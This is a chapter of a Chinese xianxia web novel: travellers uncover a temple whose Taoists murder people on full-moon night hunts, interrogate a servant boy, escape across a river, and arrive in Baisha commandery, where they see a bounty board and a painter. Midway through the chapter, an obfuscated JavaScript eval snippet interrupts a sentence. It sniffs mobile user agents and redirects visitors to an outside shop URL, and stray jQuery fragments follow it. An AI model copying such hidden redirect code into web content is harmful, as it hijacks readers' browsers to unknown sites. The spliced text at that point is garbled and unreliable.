13.长生观 四
    大殿中的火光微微跳动,照亮了方白鹭苍老的面容。

    白日里德高望重的掌教真人,夜里却带着弟子行凶作恶,任谁也不敢相信这种事。

    步云邪心跳的像擂鼓一般,尽力屏住气息,生怕被他发现。

    一只乌鸦鸣叫了几声,扑棱棱地飞了起来,蹬得松枝一阵动荡。方白鹭以为是鸟雀的动静,放下了戒备,转过身道:“那帮钦天监的人怎么样了?”

    长徒道:“带头的那小子伤的不轻,应该要养几天。”

    他把手刀往脖子上一横,低声道:“师父,要不要趁这个机会,把他们——”

    方白鹭也觉得段星河身上潜藏的力量太过强大,若是留着他,日后怕会有大患。他拿起了一双筊杯,合在手心里道:“是否除掉那几个小子,还请虺神示下。”

    他凝神片刻,把筊杯向地上一抛。烛光照亮了新月形的红木片,两个阴面朝上,竟是怒卦!

    方白鹭拾起筊杯,又接连掷了两次,居然都是怒卦,万事不成。长徒有些畏惧,下意识抬头看天,小声道:“虺神不许。”

    方白鹭意识到那几个人是有点不同寻常。那小子身上带着虺神的力量,却懵懵懂懂的,什么都不知道。对于信奉虺神的人来说,那是求之不得的机缘,他却毫不珍惜,甚至十分排斥那股神力。

    方白鹭供奉了虺神一辈子,做梦都想当它老人家的奴仆,虺神却偏偏选择了那个毛头小子,让他十分嫉妒。

    他叹了口气,道:“是我还不够忠诚么?”

    长徒一心惦记着他们身上的财物,道:“千年人参还没拿到手,还有那灵兽也挺不错的,就这么放过他们太可惜了。”

    方白鹭也有些不甘心,却又不敢违逆神的旨意,道:“罢了,虺神不准动他。何况他们是钦天监的人,死在这里会很麻烦。昨天夜里没在林子里把他们杀了,就别妄动了。”

    长徒便沉默下来,全听师父的吩咐。方白鹭看了一眼天色,道:“差不多了,都散了吧。”

    一众白袍人纷纷起身,离开了大殿。那些人回到住处脱下白袍,便又恢复了道貌岸然的模样,照常练剑、诵经、洒扫,好像什么事都没发生过。步云邪已经先一步离开了那里,快步回到了屋里。

    他掩上了门,心脏还在咚咚直跳,整个人像是从鬼门关转了一遭似的,手心都被冷汗湿透了。

    难怪这道观里会有大伥堂而皇之地享用香烛,毫不怕人,原来这里本来就是万象门的地盘,那些伥鬼都是道士们豢养的邪灵。

    步云邪本来还想提醒方白鹭他们小心提防伥鬼,没想到自己才是被耍的团团转的人。

    他们初出茅庐,还以为外面的世界跟青岩山中一样,人人朴实可靠。如今亲眼见识了,才知道了什么叫人心险恶。这些人表面上是名门正派的弟子,暗地里却杀人夺宝、无恶不作。昨天夜里,他们应该就是为了抢夺千年人参去树林里的。若不是段星河爆发出力量,自己这些人恐怕已经被伥鬼杀了。

    段星河听见了动静,醒了过来,道:“怎么了?”

    步云邪快步走到床前,把方才看见的事跟他说了。段星河也吃了一惊,皱眉道:“难怪我总觉得这里阴沉沉的,果然有问题。”

    他抬眼向窗外望去,幸亏天快亮了,要不然在这骇人的地方,连一晚上都难熬过去。段星河立刻道:“这里不能再待了,赶紧收拾东西离开。”

    他起身穿上了外袍,步云邪道:“我去叫其他人。”

    他推开门,忽然见一个矮小的身影猫着腰往外跑去,却是有人躲在窗下偷听。步云邪反应极快,一个箭步掠过去,一把揪住了那人的脖领子。那人被他提了起来,双脚不住踢蹬,连声道:“放开我,救命、救命——”

    段星河追了出来,见步云邪抓着那个洒扫的小道童。要是让他出去报信就麻烦了,步云邪一把捂住了他的嘴,低声道:“想活就别出声。”

    小道童的脸都白了,不敢挣扎了。旁边的屋门一动,李玉真听见声音,披着衣裳出来了。他打了个呵欠道:“怎么回事,大晚上的不睡觉,在这儿折腾什么?”

    段星河道:“一会儿跟你说。”

    之前他问过方白鹭夜游神的事,那老头儿说的语焉不详的。段星河寻思这小道童在长生观待了许久,应该知道不少这里的事,正好问一问他。

    他把那小道童接过来,夹在胳膊底下带回了屋里,步云邪和李玉真跟着过来了,不知道他要干什么。段星河关上了门,啪地一下把一个长条凳放在他面前,沉声道:“坐。”

    小道童十分害怕,靠着边坐了。段星河的手一直没离开他的喉咙,沉着脸道:“我问什么,你就答什么,要是敢有隐瞒,我就捏死你。”

    小道童打了个寒战,连忙道:“我说就是了,你别杀我。”

    段星河道:“你们为什么夜里出去害人?”

    小道童的眼睛转来转去的,道:“什么害人,我们都是好人,从来不害人的。”

    段星河把手一紧,小道童吓得叫了起来:“我说、我说,那不是害人……这叫夜巡,夜游神从前会在夜里带着部下杀人游猎,后来这个习俗流传下来,信奉夜尊大人的宗门都是这么修行的。我没参与过,他们嫌我本事差,又嫌我年纪小,只让我留下来看门。你要打要杀找他们去,别来为难我。”

    段星河冷冷道:“少跟我东拉西扯的,那些伥鬼又是怎么回事?”

    小道童道:“被师兄们杀掉的人会变成伥鬼,帮他们恐吓驱赶猎物。万象门、长生观和一些信奉虺神的散修会加入夜巡的队伍。修道的人吸取死者的内丹增长修为,伥鬼以猎物的恐惧为食。得到的阴邪之气越多,伥鬼就能吞噬掉越多同类,成为大伥,甚至能白天出来行走。”

    步云邪和李玉真互相看了一眼,神色都凝重起来。段星河冷冷道:“你们每天都出去夜巡么?”

    小道童道:“也不是,只有每个月十五、十六两天月亮最圆,太阴之气最盛的时候,我们才会出去夜巡。夜尊大人说过,不能竭泽而渔,天天晚上都出去的话,猎物就要被杀光了。”

    段星河:“……”

    众人没想到这帮恶魔还挺讲究的,在这些人的眼里,寻常的百姓跟猎物没什么区别。他们没有天天出去害人,也不是出于慈悲,只不过是为了留着大的生小的,让猎物持续供养自己罢了。

    段星河道:“你们的夜尊是谁,在什么地方?”

    小道童道:“夜尊大人名叫张子鸢,当年他受命于虺神,和日游神一起创建了虺教,传播福祉。后来他不知道去了什么地方,虺神也陷入了沉睡。这些年来,追随他的信徒非但没减少,反而越来越多了。我们长生观的祖师爷那么厉害,当年也只是夜尊手下的一个捣药小童。长生经就是夜尊他老人家传给我们祖师爷的。”

    段星河微一扬眉,没想到那夜游神还会炼丹,看来他也正经修过几天道,不是条见人就杀的疯狗。他道:“你们如何供养虺神?”

    小道童道:“虺神以阴性的力量为食,世间的痛苦和怨恨越多,虺神的力量就越强大。夜尊作为它最信赖的使者,会再次降临到我们身边。追随他们的人将会飞升成仙,顽抗他们的人,会万劫不复!”

    他这么说着,仿佛想起了方白鹭传教时的情形,眼神十分高傲。

    李玉真弹了他个脑瓜崩,道:“得意什么呢,不老实点,现在就让你万劫不复。”

    小童想起了自己还受制于人,又气馁起来。

    步云邪还是觉得有点奇怪,道:“这就在玄武山附近,你们也敢作这么多恶,不怕执明神君降罪么?”

    小道童道:“灵龟的性情平和,负责保护白天;它背上的灵蛇性情阴冷,不拘我们做什么。夜里灵蛇睁开了眼,它自己也要捕猎的。”

    他一副理所当然的样子,道:“失去了内丹的尸体会被藤蔓拖走,被灵蛇当做贡品吞噬掉。要不然它这么久不吃不喝不动,是怎么活下来的?”

    众人都感到了一阵毛骨悚然,这地方被邪气侵扰,就连四圣兽都不庇佑凡人了。以前李玉真就说过,很多从外面来的人适应不了这里的环境,活不过半年就死了。当时段星河还不以为然,如今才意识到这个世界到底有多颠倒荒诞,恶意到处弥漫,让人无法直视。

    他看了其他两人一眼,道:“还有什么要问的么?”

    步云邪和李玉真摇了摇头,段星河便一掌劈在那小道童脖子后面,无情道:“你没用了,多谢。”

    小道童身子一软,倒在了地上。段星河道:“叫上赵大海和伏顺,赶紧离开这里!”

    几人收拾了东西,翻墙在侧门外等待。伏顺和赵大海悄悄去了牲口棚,把大车和马牵了出来。此时天还没亮,附近没有人。伏顺拉开门栓,赵大海驾着车从小门里出来了。

    大车悄然向西而行,段星河的身体不好,改成坐车,李玉真替他骑马。

    伏顺坐在他对面,还不知道发生了什么,道:“大师兄,你伤还没好,走这么急干什么?”

    赵大海道:“不用问,都听大师兄的就是了。”

    伏顺的心思多,眼睛动了动,道:“是不是那帮臭道士不怀好意,惦记上咱们的人参了?”

    段星河道:“不光惦记人参,还惦记上咱们的命了。”

    伏顺搔了搔头,觉得都是自己口无遮拦的错。他抬手打了自己个嘴巴,道:“我以后再乱说话,你就大嘴巴子抽我。”

    段星河的伤口还疼的厉害,没心情说这些。他靠在车壁上,闭上眼想休息一会儿,忽听见不远处传来一众道士的呼喊声。他推开车门向后望去,就见方白鹭骑着马,带着十来名弟子追了出来。

    李玉真扭头道:“不好,被他们发现了,快跑!”

    夜色之中,方白鹭白色的须发在风中不住飘荡。他眼神气急败坏的,却强行露出一派慈和的笑容,道:“几位大人请留步,可是鄙观招待不周,各位为何一声招呼也不打,就匆匆离去啊?”

    段星河草草一拱手,扬声道:“我等还有急事,就此告别了,观主不必再送!”

    方白鹭还不甘心,道:“阁下身上有伤,为何不多住几日。我等还要跟几位探讨修炼之法呢。”

    他已经向大幽的皇帝投了诚,至少要做一做表面的功夫。要不然得罪了钦天监的人,对他来说也是一桩麻烦事。

    段星河道:“不必了,告辞。”

    他说着吩咐道:“赶紧走!”

    赵大海手里的马鞭啪地一甩,大车走得更快了。那帮人还在后面紧追不放,前头横着一条宽阔的大河,河里飘着些冰,水深大约到人胸口。河上有一座老旧的木头浮桥,靠几根粗麻绳吊着。

    两匹骏马拉着车过了桥,压得吱吱嘎嘎直响。后头传来纷沓的马蹄声,那帮道士离他们越来越近了。自己这一行人知道了他们的秘密,这些邪道士怕是要杀人灭口。

    步云邪等自己人都过了河,锵地一声拔出剑,砍断了浮桥的绳索。

    哗啦一声,木桥坍塌下去,半截漂在了水上。几个长生观的道士渡桥到一半,连人带马摔进了河里,不住扑腾,呼喊道:“救命,救命——”

    此时的河水冰冷刺骨,该让那些人吃点苦头。大部分道士被拦在了河对岸,费劲地捞起了落水的同门。其他人看着他们的马车渐行渐远,十分恼火。东方露出了鱼肚白,玄武山中的灵蛇闭上了眼,阴气渐渐消退。那群人无所依仗,气势弱了下来。

    方白鹭眼看追不上了,又做出了一派道骨仙风的模样,扬声道:“小友来日经过,还请小住几日,老夫一直在此处等待各位。”

    段星河没有回答,伏顺却道:“一帮伪君子,吃人不吐骨头,傻子才回去!”

    那座浮桥要修起来,起码要半天的功夫,暂时不用担心他们会追上来了。马车越行越远,离开了玄武山的地界,众人这才松了口气。

    李玉真想起刚才的情形,还心有余悸,道:“那帮道士也太吓人了,还想把人骗回去杀,当人都是傻子呢。”

    步云邪道:“这地方的恶人太多,以后多长个心眼吧。”

    众人沉默下来,本以为那些人亲切和善,谁想到他们背地里这样歹毒。几个人心里都有些沉,意识到这个世界尔虞我诈,遍地都是邪修和妖魔。想要活下去,就得狠下心来,要不然连命都保不住。

    一行人向西南方向走了一天,傍晚时来到了白沙郡。这个郡的东边有一道海岸线,沙滩都是白色的,因此得名。不知为何,这里的修真者比别处更多,时常能看到拿着浮尘或是宝剑的修真者三三两两地结伴而行。

    段星河透过车窗看着外头,心中纳罕,道:“这里怎么这么多道士?”

    步云邪道:“都城本来也有不少,只不过官差到处抓人炼药,就显得比别处少了吧。”

    李玉真笑了,道:“也不尽然,我记得凌烟阁的总舵就在白沙郡,过一阵子就要举行拍卖会了,这些人应该是奔着交易来的。”

    这个世界灵力充沛,修真的宗门林立,光是见过的就有长生观和钦天监了。段星河道:“凌烟阁是做什么的?”

    李玉真早年跟师父到处游历,见识过不少事,道:“凌烟阁是个中立的宗门,其实就是修真界的掮客组织,在各个国家都有分舵。他们经常接一些民间或官方的委托,派出一些斩妖除魔的任务,赚取中介费。任务给的报酬都挺丰厚的,缺钱的话可以留意一下公告牌。”

    段星河想起之前在望海郡,见过镇子头上的公告牌上补丁摞补丁的,贴了不少悬赏。他当时只顾着找小雨了,没留意具体的内容。难怪总是有修真者围着公告牌,原来是个挣钱的门路。

    他道:“那拍卖会呢?”

    李玉真靠在车壁上道:“凌烟阁经常跟各路人打交道,人脉广嘛,每年都会组织一场拍卖会,让修真者交流手头的资源。里头卖的东西都挺贵的,买的都是一些宗师级的人物,咱们这种小鱼小虾去了也就是凑热闹。”

    修炼的过程中,缺一味药或法宝,都让人焦头烂额。有这么个能交换资源的地方,倒是一件好事。步云邪产生了兴趣,道:“有机会的话,可以去看看。”

    李玉真去过好几次了,觉得也就那么回事,懒懒道:“还要好一阵呢,到时候再说吧。”

    马车进了城,远处晚霞

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255272|138533||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    漫天,一座座楼阁融在金红色的夕阳里,大街上人来人往,路边的饭馆冒出了热腾腾的香气。伏顺吸了吸鼻子,道:“哎呦,这牛肉面味儿真香,汤头肯定熬了挺久了。”

    赵大海把鞭子往地上一抽,道:“快到驿馆了,落了脚咱们就出来吃饭。”

    伏顺一想到要花自己的钱,改口道:“还是算了吧,驿馆的饭菜就挺好的。招待二师兄的规格还有三菜一汤呢,我蹭他块肉吃就行了。”

    赵大海扭头道:“你就是抠门,还不承认。”

    伏顺攒两个钱不容易,还想以后回去盖大房子娶漂亮媳妇。他道:“你懂什么,有免费的饭不吃白不吃,钱得花在刀刃上!”

    一行人到了驿馆,出示了令牌,守卫纷纷行礼,道:“原来是钦天监的大人,快请进。”

    驿丞得到了消息,快步出来迎接,连声道:“步司业远道而来,有失远迎,万望莫怪!”

    步云邪淡淡道:“不必客气。”

    晚风把他的发丝吹得微微摆动,他虽然穿着便服,却气质高华,让人心生敬慕。驿丞让人去停了车,亲自在前面为众人引路。步云邪等人走在庭院中,仆役让到路边,纷纷行礼道:“恭迎司业大人。”

    皇帝已经把步云邪出来炼丹的事通知到各个郡,让各处的官员都不得怠慢,务必全力配合钦天监炼药。众人一见他们就如同见到了钦差大臣,对步云邪等人十分恭敬。

    驿丞带他们去客房落了脚,送了饭来招待他们。朝廷的地盘比别处安全多了,夜里睡觉也不用时刻睁着一只眼提防,总算能好好休息一段时间了。

    在驿馆待了几天,段星河一直惦记着小雨,他身体稍微好一点,就打算出门找人了。其他人不放心,跟着一起出来了。伏顺道:“大师兄,你回去歇着,我们找也是一样的。”

    段星河摆手道:“在屋里待的太久了,闷得慌。你们该干嘛干嘛去,不用管我。”

    挺好的一个少年郎,脑袋上扎着一圈绷带。旁边的阿嬷见了,叹了口气,摇了摇头走开了。

    其他人都去逛街采买了,步云邪看着他都觉得疼,道:“刚长出点肉来就乱动,伤口再裂开你就高兴了。”

    段星河大开大合地伸了个懒腰给他看,道:“没事了,又没伤着骨头。”

    两个人走在街上,见路边有个字画摊子,挂着不少年画和山水,有锦鲤出水,有麒麟送子,有魁星点斗,都画得挺生动的。旁边放着个招牌,上头写着画像,不像不要钱。

    一个小伙子穿着一身新衣裳,头发梳得光洁整齐,双手放在膝盖上,挺直了脊背坐着,显得有点局促不安。

    小伙子的娘在旁边端详着,十分满意,道:“不错、不错,让媒婆拿着这画跟人相亲,也省的跑来跑去的相看了。”

    画师深谙哄好金主的原则,道:“要画的再好看一点么?”

    那小伙子搔了搔头,不好意思地道:“好看一点就成,太多了就成了骗人家了。”

    画师道:“那行,你低低头,脸显得小点。”

    两人觉得有些意思,默默地看了一阵子,举步离开了。段星河走在镇子里,耐心地跟路上的人打听,比划道:“小女孩儿叫魏小雨,十一岁,长这么高,大眼睛,瓜子脸……”

    路人摇摇头,直说没见过。他不气馁,又问路边摆摊的小贩,对方摆了摆手,也说没见过。步云邪觉得这样无异于大海捞针,看他那么努力的样子,心里又有点难过。他道:“能找到么?”

    段星河仿佛从来没怀疑过这件事,断然道:“我一个人都把你们找回来了,当然也能把小雨找回来。”

    这对于他来说不光是个目标,也是让自己不要垮掉的支柱。步云邪有所触动,想起自己刚来这个世界的时候,也一心想要找到其他人。若非如此,他也不会铤而走险,揭了皇榜进宫,冒着极大的危险也要在这里立住脚跟。

    小雨那么聪明,灵力又那么强,一定好好地活着,等着他们来接她。想到这里,他又充满了信心。

    两人来到镇子头上,见前头有一个告示牌,几个青衣道士骑着白马而来,衣袍上绣着银色的云烟花纹。那几人翻身下马,从背囊里拿出一卷纸,刷上浆糊,利落地把纸贴在了布告牌上。

    周围聚着好几个修真者,抬头看着上面的任务。一个五大三粗的莽汉睁着大眼,急切道:“好兄弟,上面说什么?”

    另一人道:“嗐,你不识字凑什么热闹。”

    那大汉不服气,粗声道:“不识字怎么啦,老子的拳头硬的很,一拳下去什么妖魔鬼怪都给它打爆!”

    另一人道:“别吵啦,我给你念。凌烟阁悬赏,东山中灯笼妖作祟,附近村里的百姓不堪其扰,集资出五十两银子,要一百根灯笼妖的灯芯。”

    众人互相看了一眼,觉得报酬虽然不少,但一根灯笼妖就只有一根灯芯,完成任务要杀一百只妖怪,也挺费劲的。

    大家正在犹豫,一个身穿褐袍的年轻道士挤了进来,伸出大手一把撕下了布告。天这么冷,他还敞着领口,露着古铜色的胸肌,头发草草地结了个发髻,身上弥漫着一股好久没洗澡的汗味,十分邋遢。

    这榜没人揭时,众人都蠢蠢欲动,挑肥拣瘦;一有人揭,大家顿时后悔起来。一人抱怨道:“又是你,老于,你怎么什么活儿都接,给不给别人留活路了!”

    那褐衣道士三两下把布告叠起来塞进怀里,拱手道:“多谢多谢,最近手头紧,这活儿就让给我吧。”

    一人道:“你赌钱去了吧,哪有人这么能花钱的。”

    褐衣道士咧嘴笑道:“小赌怡情嘛,不耽误正事。贫道这就斩妖除魔去了,祝各位兄台发财!”

    他从人群中挤出去,朝小镇外去了。东边不远处的青山上,云雾中掩映着些亭台楼阁,似乎是个修仙的宗门。段星河向一人打听道:“这位兄台,请问那边是什么地方?”

    那人抬眼一看,道:“那边就是凌烟阁的总舵啊,刚才那两个贴告示的就是他们宗门的人。”

    段星河跟步云邪对视了一眼,没想到凌烟阁这么近,有机会可以过去看一看。两个人往回走去,经过字画摊时,那小伙子跟他娘已经走了。画师正在画一幅新的画,上面的男子负手而立,衣袂翩然,暗红的发带在风中飘飘荡荡的,模样颇为俊美。

    段星河停下了脚步,觉得画中的人熟悉的很,越看越像步云邪。

    那人画完最后一笔,还意犹未尽,又提笔写道:“藐姑射之山,有神人居焉。肌肤若冰雪,淖约若处子,不食五谷,吸风饮露,乘云气,御飞龙,而游乎四海之外。”

    那是逍遥游中的一段,却是将画中人比作了姑射山中的神仙。段星河拿胳膊肘碰了碰步云邪,道:“你看。”

    步云邪也发现了异样,微微扬起眉。段星河轻声道:“他画你干什么?”

    步云邪觉得他倒是没有恶意,但被人悄悄画下来,总归有点不太自在。

    面前的光被挡了一半,那画师感觉有人在看自己,抬眼道:“客官,要买画么?”

    他搁下了笔,却见是刚才的那两个年轻人,一时间十分尴尬,僵在了原地。